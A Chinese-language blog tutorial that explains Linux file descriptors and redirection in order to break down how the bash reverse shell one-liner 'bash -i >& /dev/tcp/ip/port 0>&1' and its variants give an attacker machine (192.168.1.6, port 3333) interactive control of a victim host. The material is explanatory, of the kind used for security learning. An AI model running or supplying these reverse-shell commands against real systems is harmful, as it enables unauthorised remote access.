• Linux重定向及反弹shell详解


    这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

    目录

    0x01 文件描述符

    0x02 重定向

    0x03 反弹shell

    0x04 交互重定向

    0x05 命令变形

    0x01 文件描述符

    Linux的文件描述符有以下三种

    标准输入:0

    标准输出:1

    错误输出:2

    对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

    0x02 重定向

    重定向主要分为以下两种

    输入重定向 <<<

    输出重定向 >>>

    通过下面的两张图就可以很明白的看出来他们的用途了

    file

    file

    我们这里的输出重定向>,就相当于是1>,输入重定向 <,就相当于是0<

    那如果要使用错误输出的话,就必须写成 2>

    file

    我们也可以把错误的内容重定向到另一个文件中的

    下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

    file

    同样也可以将结果和错误输出一起输出到一个文件中去

    在正常输入的命令结尾加上2>&1就可以实现了,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来

    file

    其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

    file

    0x03 反弹shell

    下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

    bash -i >& /dev/tcp/ip/port 0>&1
    

    解释

    bash -i
    

    表示创建一个交互式的shell,可以在帮助文档中看到

    file

    /dev/tcp/ip/port
    

    实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

    file

    首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.13333端口

    file

    file

    0>&1
    

    将标准输入和标准输出重定向到指定的文件中

    如果把这条命令改成2>&1可能会更容易理解一点

    file

    file

    如果理解了上面这个的话,对于这个就很容易理解了

    >&
    

    将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

    理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

    file

    file

    0x04 交互重定向

    理解了上面的内容之后,我们在一步步分解一下交互式shell

    使用下面的语句可以将输出内容发送到攻击机上

    file

    file

    但是这样会有一个问题,攻击者没有实现对此主机的完全控制,是不能在受害主机中运行命令的,此时我们还会想起来另一条命令,将它转换成标准输入

    file

    file

    这样我们就实现了从攻击机输入命令进行控制,然后我们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell

    file

    在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

    file

    但是这里面还是有一个问题的,可以看到我们输入的命令在受害主机上还是会显示出命令的,所以还是需要进行改进的

    我们上面也说了如何将所有的正确和错误信息都重定向到一起,这里就可以使用这个方法来进行处理

    file

    file

    可以看到所有产生的消息都在攻击机上显示出来了,这样就达到了我们最初的目的了

    我们也可以使用与之等价的命令来进行操作,也就是我们最前面所写出来的那一条命令

    file

    file

    0x05 命令变形

    如果我们把 0>&1 改成 0<&1 将会发生什么

    file

    可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

    同样的,我们将 0>&1 变为 0>&2 是一样的效果

    file

    至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

    文章首发公众号:无心的梦呓(wuxinmengyi)

    这是一个记录红队学习、信安笔记,个人成长的公众号

    扫码关注即可

    file

  • 相关阅读:
    我在博客园的第一篇博客
    第5次作业--对象的创建与使用
    20194622 JAVA--static、this、包总结--求阶乘
    蔡奇宏软件工程第二次作业--四则运算
    蔡奇宏软件工程第一次作业
    JAVA NIO工作原理及代码示例
    Java实现八大排序算法
    union和union all的区别
    .NET MVC model数据验证
    解决VS 2015模版中找不到ADO.NET Entity Data Model的方法
  • 原文地址:https://www.cnblogs.com/wuxinmengyi/p/11704545.html
Copyright © 2020-2023  润新知